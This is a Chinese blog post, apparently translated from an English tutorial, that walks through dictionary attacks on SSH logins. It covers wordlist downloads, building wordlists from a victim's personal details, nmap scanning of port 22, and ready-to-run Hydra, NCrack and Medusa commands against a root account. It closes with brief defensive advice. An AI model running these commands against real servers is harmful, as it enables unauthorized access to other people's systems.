开发笔记📐 发现👽 人物👮 趣闻💦
翻译 - 网络安全:攻防入门之SSH暴力破解原理简介

翻译 - 网络安全:攻防入门之SSH暴力破解原理简介
2019-02-10 13:42:59   点击:

内容来源:https://securitytraning.com/brute-force-ssh/

前置描述:本文主要表述通过穷举+字典攻击的方式,并经过简单翻译和人工敏感词汇屏蔽、处理。本文通过演示简单的SSH破解流程,帮助我们了解通常的攻击策略,让我们更好的保护个人隐私和信息安全。

友情提醒:慎用垃圾/弱密码及其个人组合。

本文中我们将讨论暴力破解SSH以及如何在Kali Linux(老九注:Kali Linux是基于Debian的Linux发行版,本文中的方法可用于大部分Ubuntu和Debian系统)中实现它。本教程非常简单,将解释您需要了解的所有内容。

什么是SSH

SSH是一个首字母缩写词,代表Secure Shell,它提供对远程服务器的安全shell访问,以支持连接到本地和远程计算机。可简易安装在Linux / UNIX中 ,也可以安装在Windows机器上。SSH还指实现协议或加密网络协议的实用程序套件。

如何使用SSH

SSH拥有强大的身份验证功能,保护通过不安全的网络(如Internet)连接的计算机之间的加密数据通信。所有系统和服务器管理员都使用它来连接远程计算机并执行系统命令,移动,创建和编辑远程计算机上的不同文件。

它使用RSA加密算法,在客户端计算机和远程计算机之间创建一个牢不可破的加密隧道——但是我们知道这个世界并没有什么是牢不可破的。

什么是暴力破解(Force Crack)

暴力攻击的工作原理指穷举测试密码的每种可能组合,然后测试它是否是正确的密码。通过检查服务器响应中的任何错误,可以获知密码是否正确。

随着密码长度的增加,用于查找正确密码的时间也会迅速增加。这意味着短密码很容易破解。

参阅:使用BURPSUITE暴力网站登录页面

暴力破解算法:

很多情况下,暴力破解者都喜欢使用字典攻击来获得正确的密码。在此方法中,他们使用工具穷举字典中的密码列表,直到获得用户的正确密码。

如果用户使用弱密码(如“ 123456 ”或“ qwerty”),就会很快被破解出来。虽然这样的用户如今并不多见。但有些人确实使用这样的密码,有一种说法是:人类的愚蠢无法解决。

因此,您仍然可以发现还有许多人在使用这些密码组合。甚至包括你自己,乃至连你自己都没有注意过的密码。

暴力破解SSH:

所以现在你知道暴力攻击是什么,让我们继续看看下一步。在本文中,我们将模拟黑客使用字典攻击来获取远程ssh用户的用户名和密码。

为了执行此攻击,您需要一个单词列表,它具有良好的单词和常用密码组合,以及我们将尝试与每个密码不同组合的工具。

可以在PacketStorm上找到一个很好的单词列表资源  。

还有另一种创建自己的词汇表的方法,例如,如果黑客知道受害者,他们可以在那里使用他/她的姓名,出生日期,父母姓名,孩子,宠物等信息,以及与受害者相关的其他信息,并用于攻击。

举个例子,可能就像这个“ david0512 ”,其中David就是爸爸的名字,05月出生的12年。

一个好的破解工具,允许你将这些数据编译成一个单词列表,比如Ex0dus_0x的D0xk1t,你可以在这里找到。

另外,也可以从这里下载其他Wordlists:

wget http://zeldor.biz/other/bruteforce/passlist.txt
wget https://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2

另外,包括hashes.org/crackers.php,wiki.skullsecurity.org/Passwords

如果你使用的是Kali Linux,那么你也可以在这里找到默认的wordlist:/usr/share/wordlists/rockyou.txt.gz。

使用NMAP扫描SSH服务器

设置之后,下一步要做的就是找到运行SSH的服务器。当SSH服务侦听端口22时,可以使用NMAP扫描开放端口22。

例如:

nmap 192.168.1.0/24 -p22

在远程服务器上运行

现在,如果我们要测试远程服务器上的攻击,那么您必须扫描服务器以获取SSH服务等开放端口,这里用NMAP扫描远程服务器。

nmap  -p22

SSH暴力攻击工具

这是所有人都在等待的部分:水润NCrack美杜莎

 

Hydra

所以第一个工具我们将看看最常用和最强大的工具Hydra。如果您使用的是Kali Linux,您将可以访问此工具。它有两个版本,GUI和命令行

以下是在大多数Debian Linux上安装它的方法。

sudo apt-get install hydra hydra-gtk

也可以使用Launchpad存储库ppa:pi-rho / security进行安装

sudo add-apt-repository ppa:pi-rho/security
sudo apt-get update
sudo apt-get install hydra

安装此工具的替代方法是:

wget http://www.thc.org/releases/hydra-8.3.tar.gz tar -xvzf hydra-8.3.tar.gz cd hydra-8.3 ./configure make make install

这是使用Hydra的命令:

root@kali:~/Desktop# hydra -l root -P '/root/Desktop/500-worst-passwords.txt' 192.168.1.31 ssh

如图所示,Hydra已成功破解密码,您可以使用它登录系统。(原文中此处有Youtube视频)

 

NCrack

我们将使用的第二个工具叫做NCrack,它也包含在Kali Linux中,你也可以在其他Debian发行版上安装它。

wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz
tar -xvzf ncrack-0.5.tar.gz
cd ncrack-0.5
./configure
make
make install

这将在您的系统上安装NCrack,然后您可以运行它来破解ssh密码。

root@kali:~/Desktop# ncrack -p 22 --user root -P '/root/Desktop/500-worst-passwords.txt' 192.168.1.31

用NCrack成功找到了密码!此处原文同样有Youtube视频。

 

美杜莎

这是最后一个可用于强制登录的工具,您可以按照以下步骤安装它:

wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz
tar -xvzf medusa-2.0.tar.gz
cd medusa-2.0
./configure
make
make install

以下是用于破解密码的命令:

root@kali:~/Desktop# medusa -u root -P '/root/Desktop/500-worst-passwords.txt' -h 192.168.1.31 -M ssh

以上。

 

如何防止这种攻击?

这是最重要的部分!您应该使用以防止此攻击的最佳建议方法是:

  1. 在非标准端口上运行SSH。(非22的其他端口)
  2. 阻止root用户的SSH登录权限。
  3. 使用Fail2Ban。
  4. 限制IP区段以及同用户的多频率登录尝试。

 

我们学到了什么

那么我们从这一切中学到了什么?永远不要使用弱密码从不使用弱密码。

网络 安全 攻防 SSH 破解

上一篇:ubuntu/Debian慎用chown suoder权限修改方法记录
下一篇:使用openresty的ngx_lua模块记录nginx服务器日志